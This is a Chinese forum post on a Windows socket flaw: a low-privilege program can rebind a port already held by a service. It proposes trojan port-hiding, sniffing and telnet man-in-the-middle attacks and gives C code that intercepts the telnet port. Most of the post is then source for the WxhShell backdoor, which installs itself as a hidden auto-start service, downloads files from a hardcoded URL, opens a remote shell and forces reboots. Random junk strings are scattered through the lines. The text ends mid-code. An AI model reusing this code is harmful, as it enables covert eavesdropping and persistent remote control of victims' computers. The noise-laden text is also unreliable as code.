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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xWe1F2nY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *Q120R  
D)7$M]d%  
  saddr.sin_family = AF_INET; 0QH3,Ps1C  
MXJ9,U{<C'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C{i;spc!bi  
#]a51Vss  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vek:/'sj3p  
J K]tcP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IBNQmVRrI  
TIWLp  
  这意味着什么?意味着可以进行如下的攻击: f%[ukMj&  
o ]jP3 $t;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UMi`u6#  
gIM'bA<~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9.OwH(Ax7  
jy@i(@Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G$|;~'E  
UQ?OD~7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [67E5rk-  
6 %k+0\d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :`^3MMLO  
Cm<j*Cnl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yO,`"Dc_0  
S<]a@9W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4'hcHdL9   
C9Z\G 3  
  #include %x8`fm  
  #include <eFAI}=s  
  #include J[Yg]6  
  #include    CC(*zrOd-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S{(p<%)[  
  int main() q(tG bhQ  
  { P(gVF |J?  
  WORD wVersionRequested;  ; zE5(3x  
  DWORD ret; fQy C6C  
  WSADATA wsaData; g_U~.?Db7  
  BOOL val; z>p`!-'ID  
  SOCKADDR_IN saddr; u}LX,B-n(  
  SOCKADDR_IN scaddr; m5em<P!G  
  int err; ]v\egfW,W  
  SOCKET s; j5h 6u,^:  
  SOCKET sc; d J%Rk#?;A  
  int caddsize; ^0tf1pV2  
  HANDLE mt; O:^LQ  
  DWORD tid;   zPh\3B  
  wVersionRequested = MAKEWORD( 2, 2 ); 3AQ>>)T~  
  err = WSAStartup( wVersionRequested, &wsaData ); X*9N[#wu6  
  if ( err != 0 ) { $7DcQ b9  
  printf("error!WSAStartup failed!\n"); $n#Bi.A j  
  return -1; %::deV7  
  } kAB+28A  
  saddr.sin_family = AF_INET; *xo;pe)9  
   MjXE|3&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hN_f h J  
hKZ`DB4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,WB_C\.#XN  
  saddr.sin_port = htons(23); vuo'"^ =p0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )x8;.@U  
  { Ds%&Mi  
  printf("error!socket failed!\n"); 1^f.5@tV  
  return -1; =1 BNCKT<  
  } %X"m/4c8}  
  val = TRUE; hUT^V(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z1'FmwT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o%WjJ~!zL  
  { 6(J4IzZ  
  printf("error!setsockopt failed!\n"); yB4H3Q )  
  return -1; *fH_lG%  
  } ./&zO{|0]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,s><kHJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'uKkl(==%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GKyG #Fl  
T~o{woq}g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qQxA@kdd  
  { V@ _-H gg  
  ret=GetLastError(); 7{An@hNh  
  printf("error!bind failed!\n"); LZc$:<J<6  
  return -1; lTr*'fX  
  } .-KtB(t  
  listen(s,2); ]KXMGH_  
  while(1) S'!q}|7X 3  
  { =%3b@}%HqS  
  caddsize = sizeof(scaddr); M6jp1:ZH2q  
  //接受连接请求 ![@T iM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )v52y8G-p  
  if(sc!=INVALID_SOCKET) 4j@i%  
  { \/*Nf?;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IObx^N_K  
  if(mt==NULL) _}e7L7B7g  
  { %/y`<lJz(  
  printf("Thread Creat Failed!\n"); Z6^QB@moj  
  break; n|x$vgb  
  } ,]Ro',A&  
  } }{5mH:  
  CloseHandle(mt); P1i*u0a  
  } ^}o7*   
  closesocket(s); %-# q O  
  WSACleanup(); ;Rhb@]X  
  return 0; dCZ\ S91q  
  }   @GG(7r\/B  
  DWORD WINAPI ClientThread(LPVOID lpParam) V\6(d  
  { y7JZKtsFA  
  SOCKET ss = (SOCKET)lpParam; ?Ml%$z@b?  
  SOCKET sc; h@~:(:zU$  
  unsigned char buf[4096]; H\fcY p6  
  SOCKADDR_IN saddr; LZM,QQ  
  long num; \T`["<  
  DWORD val; .73zik   
  DWORD ret; aUW/1nQHa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G[3k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6x_ T@  
  saddr.sin_family = AF_INET; 8M^wuRn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L6:W'u^  
  saddr.sin_port = htons(23); #M5_em4kN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3ar=1_Ar  
  { aqs%m (  
  printf("error!socket failed!\n"); J]}FC{CD!  
  return -1; >*dQqJI  
  } kDzj%sm!  
  val = 100; *me,(C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WY+(]Wkao  
  { I?a8h`WS+  
  ret = GetLastError(); ,AH0*L  
  return -1; 4K9Rpm  
  } 'aD6>8/Hj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &P 8!]:  
  { {~"7vkc+  
  ret = GetLastError(); {r={#mO;p  
  return -1; E@w[&#  
  } A7k'K4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6hkkNXqkf  
  { K8?zgRG3~N  
  printf("error!socket connect failed!\n"); KNg8HYFW\  
  closesocket(sc); 2Co@+I[,4&  
  closesocket(ss); aSOU#Csx  
  return -1; J&M1t#UN  
  } 5kcJ  
  while(1) 6*ZU}xT  
  { [}>#YPZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c[SU5 66y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zwK }7h6]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zKLn!b#>  
  num = recv(ss,buf,4096,0); AG]W O8f)  
  if(num>0) e:N7BZl'c9  
  send(sc,buf,num,0); 31~hlp;  
  else if(num==0) wms1IV%;  
  break; Zta$R,[9h  
  num = recv(sc,buf,4096,0); I[#U`9Dt  
  if(num>0) 9Z&?R++?  
  send(ss,buf,num,0); I-xwJi9?,  
  else if(num==0) Kw)K A^KF  
  break; D" L|"qJ  
  } cV-i*L4X  
  closesocket(ss); P7z:3o.  
  closesocket(sc); -#Np7/  
  return 0 ; I(pb-oY3!I  
  } 81Z4>F:  
?>sQF4 V"  
Dk6?Nwy"  
========================================================== EMLx?JnP  
osl=[pm  
下边附上一个代码,,WXhSHELL mA& =q_gS  
W. ^Ei\w/t  
========================================================== +p3 Z#KoC  
/Zc#j^_  
#include "stdafx.h" OCCEL9d  
EYG"49 c  
#include <stdio.h> TMK'(6dH  
#include <string.h> tWm>j  
#include <windows.h> J' W}7r  
#include <winsock2.h> T?>E{1pS  
#include <winsvc.h> PdT83vOCE  
#include <urlmon.h> -Q#o)o  
HOfF"QAR$  
#pragma comment (lib, "Ws2_32.lib") Q uB+vL  
#pragma comment (lib, "urlmon.lib") Vt'L1Wr0v  
@r F/]UJ  
#define MAX_USER   100 // 最大客户端连接数 MEEAQd<*  
#define BUF_SOCK   200 // sock buffer J{d(1gSZ  
#define KEY_BUFF   255 // 输入 buffer ?0{yq>fTu  
K"L_`.&Q  
#define REBOOT     0   // 重启 U IfH*6X  
#define SHUTDOWN   1   // 关机 "3SWO3-x  
AM'gnP>  
#define DEF_PORT   5000 // 监听端口 Rp0|zP,5  
+P|2m"UA  
#define REG_LEN     16   // 注册表键长度 ~ FGe ~  
#define SVC_LEN     80   // NT服务名长度 D}w<84qX  
n12UBvc}%  
// 从dll定义API W2`.RF^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7,*%[#-HE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >V(zJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B| tzF0;c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SET-8f  
Txo@ U  
// wxhshell配置信息 ,;%yf?  
struct WSCFG { w:}C8WKw  
  int ws_port;         // 监听端口 qIh #~  
  char ws_passstr[REG_LEN]; // 口令 GB>aT-G7q  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gg|M+M?+  
  char ws_regname[REG_LEN]; // 注册表键名 lyyX<=E{)  
  char ws_svcname[REG_LEN]; // 服务名 ^_68]l=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O+_N!/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZHCr2^w6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J*j5#V];  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qgx?"$ Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :6Pnie  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =NZ[${7mq  
d8E,o7$m  
}; |g<*Rk0  
i ?;R}%~  
// default Wxhshell configuration Cp^g'&  
struct WSCFG wscfg={DEF_PORT, wz#A1F  
    "xuhuanlingzhe", \3aTaT?..  
    1, 7d ;pvhnH  
    "Wxhshell", 'z5h3J  
    "Wxhshell", V@%  
            "WxhShell Service", \gItZ}+c4}  
    "Wrsky Windows CmdShell Service", i.y=8GxY  
    "Please Input Your Password: ", .%'Z~|K4  
  1, 4PWAGuN^  
  "http://www.wrsky.com/wxhshell.exe", @A{m5h  
  "Wxhshell.exe" i)8N(HN  
    }; #f*g]p{   
>&WhQhZ3kg  
// 消息定义模块 ,."b3wR[w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F\:(*1C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C#;@y|Rw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R{?vQsLk  
char *msg_ws_ext="\n\rExit."; jJBnDxsA  
char *msg_ws_end="\n\rQuit."; ?gSSli[  
char *msg_ws_boot="\n\rReboot..."; R^%e1 KO]  
char *msg_ws_poff="\n\rShutdown..."; +}a C-&  
char *msg_ws_down="\n\rSave to "; [ ]^X`R  
FRZs[\I|iT  
char *msg_ws_err="\n\rErr!"; O4L#jBa+  
char *msg_ws_ok="\n\rOK!"; 0/ !,Dn  
LnFWA0y  
char ExeFile[MAX_PATH]; J[@um:  
int nUser = 0; W%o|0j\1GU  
HANDLE handles[MAX_USER]; cSK&[>i)4  
int OsIsNt; 3~Qd)j"<  
f<<rTE6  
SERVICE_STATUS       serviceStatus; ,%W<O.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XV>&F{  
>o~Z>lr  
// 函数声明 =P`~t<ajB  
int Install(void); -.iNNM&a  
int Uninstall(void); |cDszoT /  
int DownloadFile(char *sURL, SOCKET wsh); r &%.z*q  
int Boot(int flag); MT6/2d  
void HideProc(void); R-rCh.  
int GetOsVer(void); Wto ;bd  
int Wxhshell(SOCKET wsl); C5@V/vA  
void TalkWithClient(void *cs); ]|U-y6 45  
int CmdShell(SOCKET sock); ECcZz.  
int StartFromService(void); l&W;b6L  
int StartWxhshell(LPSTR lpCmdLine); y3eHF^K+$  
>MG(qi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2(M6(xH>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A}5fCx.{  
V&ot3- Rf  
// 数据结构和表定义 C$9z  
SERVICE_TABLE_ENTRY DispatchTable[] = fD4ICO@  
{ 0Fw6Dq<8-!  
{wscfg.ws_svcname, NTServiceMain}, `f9gC3Hk  
{NULL, NULL} &aG*k*  
}; aWy]9F&C:  
2i7e#  
// 自我安装 o.7{O,v  
int Install(void) 5$rSEVg9  
{ h}L}[   
  char svExeFile[MAX_PATH]; fuX'~$b.fA  
  HKEY key; EQ<RDhC@b  
  strcpy(svExeFile,ExeFile); nSx]QREL!  
 Paj vb-f  
// 如果是win9x系统,修改注册表设为自启动 r$(~j^<s  
if(!OsIsNt) { =f1B,%7G+5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "TS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H'=(`  
  RegCloseKey(key); e3(/qMl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6l\FIah@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :G5RYi  
  RegCloseKey(key); ',I0ih#Ls  
  return 0; '5KeL3J;  
    } atF?OP|{,w  
  } v~|?3/{Q  
} (%_n!ip^  
else { D@oCP =m<  
{ZsdLF#  
// 如果是NT以上系统,安装为系统服务 0?0Jz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'CR)`G_'[  
if (schSCManager!=0) ve6w<3D@  
{ Wu1{[a|  
  SC_HANDLE schService = CreateService ?rYT4vi  
  ( b)# Oc,  
  schSCManager, $s5a G)?7  
  wscfg.ws_svcname, ^U[D4UM  
  wscfg.ws_svcdisp, :dI\z]Y(  
  SERVICE_ALL_ACCESS, CC^E_jT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %^]?5a!  
  SERVICE_AUTO_START, As&v Ft P  
  SERVICE_ERROR_NORMAL, ++-{]wB3=.  
  svExeFile, w ej[+y-  
  NULL, %A/_5;PZ/  
  NULL, 1|r,dE2k9  
  NULL, sTRJ:fR  
  NULL, O) atNE   
  NULL ;]sYf  
  ); ` `U^COD  
  if (schService!=0) m Lk(y*  
  { >rsqH+oL  
  CloseServiceHandle(schService); !g!5_ |  
  CloseServiceHandle(schSCManager); qJ4T]FVN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `D$Jv N  
  strcat(svExeFile,wscfg.ws_svcname); 9W ^xlid6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~|ss*`CT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "= / f$Xf  
  RegCloseKey(key); ^wb:C[r!V  
  return 0; >Z.\J2wM<j  
    } 6uPcXd:8ZR  
  } 5ExDB6Bx@y  
  CloseServiceHandle(schSCManager); Px FWJ?=  
} DL'iS  
} 8flOq"uK^  
[U@; \V$  
return 1; _ *f  
} v *-0M  
@%ip7Y]e  
// 自我卸载 RoGwK*j0+  
int Uninstall(void) W,^W^:m-x  
{ -_ C#wtC  
  HKEY key; G q<X4C#|  
D]G)j  
if(!OsIsNt) { ao_4mSB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jnB~sbyA  
  RegDeleteValue(key,wscfg.ws_regname); EZ;"'4;W  
  RegCloseKey(key); :#k &\f-Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]i<[d ,  
  RegDeleteValue(key,wscfg.ws_regname); KnhoaBB  
  RegCloseKey(key); 5q9s,r_  
  return 0; r KH:[lK m  
  } C)'q QvA  
} ` |IUGz  
} r}#\BbCv;7  
else { /H7&AiA  
BVsD( @lX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g-c ;}qz  
if (schSCManager!=0) 0+Ta%H{  
{ mm[2wfTE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %p^.|Me7  
  if (schService!=0) 'H5M|c$s  
  { zmj"fN{\  
  if(DeleteService(schService)!=0) { t\P<X^d%  
  CloseServiceHandle(schService); *Xo]-cKL0  
  CloseServiceHandle(schSCManager); "tFxhKf  
  return 0; RlT3Iz;  
  } hpTDxh'?$C  
  CloseServiceHandle(schService); :cu #V  
  } m7EcnQf  
  CloseServiceHandle(schSCManager); E%oY7.~-  
}  j~j jX  
} -=s(l.?Hm5  
O,aS`u &  
return 1; J^R=dT!  
} ~/^5) g_  
_Z5Mw+=19  
// 从指定url下载文件 \`V;z~@iA  
int DownloadFile(char *sURL, SOCKET wsh) # mize  
{ cdqB,]"  
  HRESULT hr; X\EVTd)@  
char seps[]= "/"; 2(5ebe[  
char *token; qTZFPfyU  
char *file; n  -(  
char myURL[MAX_PATH]; su*Pk|6%  
char myFILE[MAX_PATH]; 'lHdOG  
(=D&A<YX  
strcpy(myURL,sURL); s .Wdxh  
  token=strtok(myURL,seps); gs!(;N\j|  
  while(token!=NULL)  w 4[{2  
  { oh# \]c\f  
    file=token; 8-<:i  
  token=strtok(NULL,seps); "-@[R  
  } 4_Dp+^JF  
`u>4\sv  
GetCurrentDirectory(MAX_PATH,myFILE); {*{Ox[Nh{  
strcat(myFILE, "\\"); c'/l,k  
strcat(myFILE, file); |5Xq0nvCe  
  send(wsh,myFILE,strlen(myFILE),0); U9b?i$  
send(wsh,"...",3,0); ~4"qV_M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WA dCF-S  
  if(hr==S_OK) 4pw6bK,s2\  
return 0; UAoh`6vFF8  
else )K &(  
return 1; %HrAzM.QBF  
df7wN#kO+  
} N F)~W#  
dOa%9[  
// 系统电源模块 jKt7M>P  
int Boot(int flag) l;o1 d-n]  
{ (#+^&1  
  HANDLE hToken; 2eMTxwt*S  
  TOKEN_PRIVILEGES tkp; J!5$,%v  
J:V?EE,\-  
  if(OsIsNt) { jy-{~xdg[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >/|q:b^2r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /SYw;<=  
    tkp.PrivilegeCount = 1; x.S3Zi}=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M4as  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f^W;A"+  
if(flag==REBOOT) { 9 (QJT}qC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j?'GZ d"B  
  return 0; .Wjs~0c  
} H;RwO@v  
else { N7e"@Ic  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 03C0L&  
  return 0; ]+X@ 7  
} s[UHe{^T  
  } / m=HG^!  
  else { c38D}k^):  
if(flag==REBOOT) { 4?B\O`sy.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AK@9?_D  
  return 0; c/sC&i;%O  
} dAuJXGo  
else { O({2ivX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `V##Y  
  return 0; .V,@k7U,V  
} FSND>\>  
} p, #o<W  
P&f7@MOV.P  
return 1; J{Q|mD=  
} #\=FO>  
% >=!p  
// win9x进程隐藏模块 B {>7-0  
void HideProc(void) ZHa"isl$e  
{ <Y}R#o1Z  
wb0L.'jyR)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1y}Y9mlD.  
  if ( hKernel != NULL ) {;2PL^i  
  { 3W N@J6?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AIZ]jq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .[_L=_.  
    FreeLibrary(hKernel); i{`:(F5*  
  } v/_  
Hm*/C4B`  
return; 'dn]rV0(C  
} DMOMh#[  
kDsFR#w&`  
// 获取操作系统版本 \.-bZ$  
int GetOsVer(void) T:~vk.Or  
{ FYpzQ6s~  
  OSVERSIONINFO winfo; Abc)i7!.,.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -qGa]a  
  GetVersionEx(&winfo); m^zUmrj[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?{[ v+t#  
  return 1; J\b^)  
  else y gz6C  
  return 0; A*\.NTM  
} z:wutqru  
:;9F>?VN>0  
// 客户端句柄模块 r8RoE`/T  
int Wxhshell(SOCKET wsl) ,>%}B3O:Y=  
{ F'21jy&  
  SOCKET wsh; K|[*t~59  
  struct sockaddr_in client; 2GDD!w#!j  
  DWORD myID; #AJM6* G9  
9w7n1k.  
  while(nUser<MAX_USER) 4\iOeZRf  
{ oG_~q w|h  
  int nSize=sizeof(client); T{-CkHf9Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1n;0?MIZ  
  if(wsh==INVALID_SOCKET) return 1; ?82xdp g  
7fZDs j:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wi)_H$KII  
if(handles[nUser]==0) 9dx/hFA  
  closesocket(wsh); |Y ,b?*UF  
else Hquc o  
  nUser++; `r9!zffyS  
  } m+]K;}.}R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X aMJDa|M  
e w$ B)W  
  return 0; , s"^kFl  
} N2;B-UF 7  
f6&iy$@   
// 关闭 socket 0Qf,@^zL*  
void CloseIt(SOCKET wsh) },{$*f[  
{ rX2.i7i,  
closesocket(wsh); yPb"V  
nUser--; !$gR{XH$]  
ExitThread(0); )"7iJb<E  
} AP 2_MV4W  
Pd_U7&w,5  
// 客户端请求句柄 !Dn,^  
void TalkWithClient(void *cs) -lY6|79bF  
{ <Z mg#  
1~NT.tY  
  SOCKET wsh=(SOCKET)cs; qm/22:&v5  
  char pwd[SVC_LEN]; V_.5b&@  
  char cmd[KEY_BUFF]; Q+{xZ'o"Z  
char chr[1]; Rl?_^dPx  
int i,j; f.KN-f8<F  
YJT&{jYi  
  while (nUser < MAX_USER) { OrY/`+Cog  
iP ->S\  
if(wscfg.ws_passstr) { r@H /kD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . YAT:;L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m[~y@7AK<  
  //ZeroMemory(pwd,KEY_BUFF); mn"G_I  
      i=0; 8e1UmM[  
  while(i<SVC_LEN) { 3YOq2pW72G  
"*e$aTZB\  
  // 设置超时 qN9(S:_Px  
  fd_set FdRead; -=)H{  
  struct timeval TimeOut; }C"%p8=HM  
  FD_ZERO(&FdRead); NJWA3zz   
  FD_SET(wsh,&FdRead); DEKP5?]  
  TimeOut.tv_sec=8; Z>k#n'm^z  
  TimeOut.tv_usec=0; "o-z y'I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $ r@zs'N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E Nh l&J  
"jKY1* ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -b9\=U[  
  pwd=chr[0]; \wz6~5R  
  if(chr[0]==0xd || chr[0]==0xa) { l<58A7  
  pwd=0; he;dq)-e9  
  break; +V ;l6D  
  } 61C7.EZZ;  
  i++; FpmM63$VN[  
    } 2*;~S4 4  
*v^Jb/E315  
  // 如果是非法用户,关闭 socket Tztu}t]N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a/4T> eC  
} '}53f2%gKa  
?jv/TBZX4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $]/{[@5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N2^=E1|_  
!C ':  
while(1) { uP)'FI  
_^Ubs>d=*  
  ZeroMemory(cmd,KEY_BUFF); /L g)i\R;  
g[' ^L +hd  
      // 自动支持客户端 telnet标准   }c,}V  
  j=0; -:+|zF@f  
  while(j<KEY_BUFF) { t6 "%3#s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X:"i4i[}{9  
  cmd[j]=chr[0]; _Eo[7V{NY  
  if(chr[0]==0xa || chr[0]==0xd) {  ?Jm^<  
  cmd[j]=0; ].w4$OJ?  
  break; cKca;SNql1  
  } G:<aB  
  j++; #4 <SAgq  
    } *SJ_z(CZm  
,aZ[R27rpL  
  // 下载文件 >C>.\  
  if(strstr(cmd,"http://")) { gV's=cQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KxJ!,F{>H  
  if(DownloadFile(cmd,wsh)) %v M-mbX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x)DMPVB<  
  else EHJ.T~X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t\dN DS  
  } :D5Rlfj  
  else { L\J;J%fz.  
b|:YIXml  
    switch(cmd[0]) { ~g]Vw4pv  
  ;WQve_\  
  // 帮助 Ua: sye  
  case '?': { gD @){Ip  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5{X<y#vAC0  
    break; {UI+$/v#  
  } y%cP1y)  
  // 安装 hED}h![  
  case 'i': { g wRZ%.Cn  
    if(Install()) `r6,+&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UcHJR"M~c  
    else  R B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |mfvr *7  
    break; -$ls(oot  
    } 3qC}0CP*  
  // 卸载 Gx/Oi)&/  
  case 'r': { >y7?-*0  
    if(Uninstall()) ~,Zc%s~|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Mb.:_7'  
    else dFB]~QEK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GR_-9}jQP  
    break; (mpNcOY<D  
    } z43M] P<  
  // 显示 wxhshell 所在路径 "%w u2%i  
  case 'p': { s/#!VnU6  
    char svExeFile[MAX_PATH]; By!o3}~g  
    strcpy(svExeFile,"\n\r"); cKI9#t_  
      strcat(svExeFile,ExeFile); 'rkdZ=x{  
        send(wsh,svExeFile,strlen(svExeFile),0); zR:L! S  
    break; A|4[vz9>H  
    } <)H9V-5aZ  
  // 重启 ""G'rN_=Bi  
  case 'b': { 'n3uu1C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %J?xRv!  
    if(Boot(REBOOT)) Ffz,J6b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JX;G<lev  
    else { &U#|uc!+  
    closesocket(wsh); Q Z  
    ExitThread(0); *L^,|   
    } Z@S3ZGe  
    break; .|70;  
    } U%QI a TN*  
